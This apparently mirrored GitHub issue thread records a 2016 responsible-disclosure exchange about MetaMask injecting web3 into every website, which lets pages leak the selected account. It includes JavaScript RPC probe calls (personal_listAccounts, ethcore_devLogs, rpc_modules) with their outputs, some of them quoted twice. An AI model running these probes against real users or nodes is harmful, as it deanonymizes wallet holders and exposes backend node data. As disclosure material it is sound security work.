submitted by @tintinweb
Hi,
while reporting some vulnerabilities to the ethereum mist project I stumbled upon your project and would like to inform you of the following vulnerability affecting the metamask chrome plugin [1].
The plugin exposes web3 to any website you visit with metamask installed. This allows any website to communicate with your local ethereum node and perform various actions on behalf of the user without user consent. This is pretty much a blocker for me not to use metamask as it leaks all local ether accounts to websites you navigate to (plus connects my pseudonym ether address with personal information). If you feel like you want to test this, I’ve updated the PoC [2] to also show some information gathered via metamask (leaks config in localstorage, leaks sensitive account information in web3, leaks direct access to http/rpc/custom providers). To resolve this, you'll provably need some sort of per website trust policies, like a “I trust this application/website” button and only inject web3 if the user explicitly wanted it to do so (this plus a combination with some code signing to make sure trust expires when the website code changes).
cheers,
tin
[1] https://metamask.io/
[2] http://tintinweb.github.io/pub/pocs/nocve-2016-ethereum_mist_browser
Hello, thanks for the feedback!
it leaks all local ether accounts to websites you navigate to (plus connects my pseudonym ether address with personal information). If you feel like you want to test this, I’ve updated the PoC [2] to also show some information gathered via metamask (leaks config in localstorage, leaks sensitive account information in web3, ...)
We are aware of these info leaks. we have an account management overhaul underway that will give us more flexibility, like per-dapp accounts. We have also considered per-dapp configuration, and will likely go this route.
perform various actions on behalf of the user without user consent
Can you elaborate on this? I'm not aware of any actions that can be performed without user approval, other than submitting signed transactions the dapp created with keys it has access to.
leaks direct access to http/rpc/custom providers
Can you elaborate on this? Do you mean it gives you a web3 provider? or the url of the custom endpoint? Access to the web3 provider is an intentional feature. Access to the endpoint url is a legacy requirement and can be removed.
Please verify what you meant and I'll link to individual issues covered here. Thanks! We really appreciate your eyes, mind, and time. 😸
I've run their audit app, and really all we seem to expose is the current selected account, and the current network, which are both appropriate to expose to approved apps.
The real point is just a leakage of current account, and this is a privacy issue, and we plan on addressing this in a series of maybe-duplicate issues (log in per-domain):
The local storage they say we're leaking is just the current account + network, no private key information is exposed, so fortunately it looks like we're way less vulnerable to these various vectors than Mist currently.
Hi,
It boils down to the information disclosure and the fact that metamask injects web3 to _all_ websites you visit. This is basically what you share with mist and allows any website to deanonymize you, The other issues listed on the poc site are unrelated. Allowing the user to select which website to trust would probably resolve this.
Please note that this is not the result of a proper audit but a side-product of the mist findings and I just wanted to let you know that this infoleak also affects you.
cheers,
tin
Thanks for clarifying @tintinweb
perform various actions on behalf of the user without user consent
want to ask again and make sure that this ^ is not possible based on your findings.
@kumavis That was referring to the fact that websites may interact with web3 without my consent. Just to be safe I just checked that in order to send transactions user consent is required. So thats fine.
ad rpc: it seems like it is possible to directly talk to the rpc backend node (according to the exposed rpc methods it is parity). I feel like this should be restricted in order to protect your node but I am not sure if I miss something here:
web3.currentProvider.asyncProvider.sendAsync({method:"web3_clientVersion",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":"ProviderEngine/v8.1.7/javascript"}
could this be your address on the morden network? (https://testnet.etherscan.io/address/0xcbebfd1ff6e17db0c064fbcf9b903ade7be55807):
web3.currentProvider.asyncProvider.sendAsync({method:"personal_listAccounts",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(ret)})
{"id":999,"jsonrpc":"2.0","result":["0x4a45bb0e9679a9ca6e2c27a6ac82539c468c2c50","0xb8eb92300c555c649f1b7a25e2aa46f7e64bcec3","0xcbebfd1ff6e17db0c064fbcf9b903ade7be55807"]}
leaks logs
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_devLogs",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
other info
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_netChain",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":"morden"}
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_netPeers",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"active":0,"connected":25,"max":25}}
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_registryAddress",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
web3.currentProvider.asyncProvider.sendAsync({method:"personal_accountsInfo",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
web3.currentProvider.asyncProvider.sendAsync({method:"modules",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"eth":"1.0","net":"1.0","personal":"1.0","rpc":"1.0","web3":"1.0"}}
web3.currentProvider.asyncProvider.sendAsync({method:"rpc_modules",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"eth":"1.0","ethcore":"1.0","net":"1.0","personal":"1.0","rpc":"1.0","traces":"1.0","web3":"1.0"}}
other: I am just curious but is it safe to share one os user session/os account and therefore the same browser with multiple persons with metamask in locked mode or would it be trivial for someone else to bypass the metamask lock screen once I gain access to an unlocked computer?
Unlocking MetaMask requires a password, even on an unlocked computer. The account private keys are encrypted locally with that password, so the computer has no way to unlock MetaMask without that user password.
When MetaMask is locked, the unencrypted information is deallocated.
On Nov 9, 2016, at 5:56 PM, tintin [email protected] wrote:
@kumavis That was referring to the fact that websites may interact with web3 without my consent. Just to be safe I just checked that in order to send transactions user consent is required. So thats fine.
ad rpc: it seems like it is possible to directly talk to the rpc backend node (according to the exposed rpc methods it is parity). I feel like this should be restricted in order to protect your node but I am not sure if I miss something here:
web3.currentProvider.asyncProvider.sendAsync({method:"web3_clientVersion",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":"ProviderEngine/v8.1.7/javascript"}
could this be your address on the morden network? (https://testnet.etherscan.io/address/0xcbebfd1ff6e17db0c064fbcf9b903ade7be55807):web3.currentProvider.asyncProvider.sendAsync({method:"personal_listAccounts",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(ret)})
{"id":999,"jsonrpc":"2.0","result":["0x4a45bb0e9679a9ca6e2c27a6ac82539c468c2c50","0xb8eb92300c555c649f1b7a25e2aa46f7e64bcec3","0xcbebfd1ff6e17db0c064fbcf9b903ade7be55807"]}
leaks logsweb3.currentProvider.asyncProvider.sendAsync({method:"ethcore_devLogs",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
other infoweb3.currentProvider.asyncProvider.sendAsync({method:"ethcore_netChain",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":"morden"}
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_netPeers",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"active":0,"connected":25,"max":25}}
web3.currentProvider.asyncProvider.sendAsync({method:"ethcore_registryAddress",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
web3.currentProvider.asyncProvider.sendAsync({method:"personal_accountsInfo",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
web3.currentProvider.asyncProvider.sendAsync({method:"modules",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"eth":"1.0","net":"1.0","personal":"1.0","rpc":"1.0","web3":"1.0"}}
web3.currentProvider.asyncProvider.sendAsync({method:"rpc_modules",params:[],jsonrpc:"2.0",id:999}, function(err,ret){console.log(err);console.log(JSON.stringify(ret))})
{"id":999,"jsonrpc":"2.0","result":{"eth":"1.0","ethcore":"1.0","net":"1.0","personal":"1.0","rpc":"1.0","traces":"1.0","web3":"1.0"}}
other: I am just curious but is it safe to share one os user session/os account and therefore the same browser with multiple persons with metamask in locked mode or would it be trivial for someone else to bypass the metamask lock screen once I gain access to an unlocked computer?—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.
You could take the encrypted store "back to the lab" and attempt to brute force it. but we mostly assume physical access to the machine is a lost cause ( e.g. install a keylogger )
@tintinweb forwarding on the parity rpc leaks on to our backend provider https://infura.io @hermanjunge @denisgranha
those nodes arent used for account mgmt so those accounts must be generated by default
closing this issue, we have tickets for the individual items
leaks selected account / coinbase: #12 #537 #714
web3 injection in page #813 #814
our rpc provider https://infura.io has limited RPC access to a whitelist of methods
@tintinweb thanks again for the report
Most helpful comment
@kumavis That was referring to the fact that websites may interact with web3 without my consent. Just to be safe I just checked that in order to send transactions user consent is required. So thats fine.
ad rpc: it seems like it is possible to directly talk to the rpc backend node (according to the exposed rpc methods it is parity). I feel like this should be restricted in order to protect your node but I am not sure if I miss something here:
could this be your address on the morden network? (https://testnet.etherscan.io/address/0xcbebfd1ff6e17db0c064fbcf9b903ade7be55807):
leaks logs
other info
other: I am just curious but is it safe to share one os user session/os account and therefore the same browser with multiple persons with metamask in locked mode or would it be trivial for someone else to bypass the metamask lock screen once I gain access to an unlocked computer?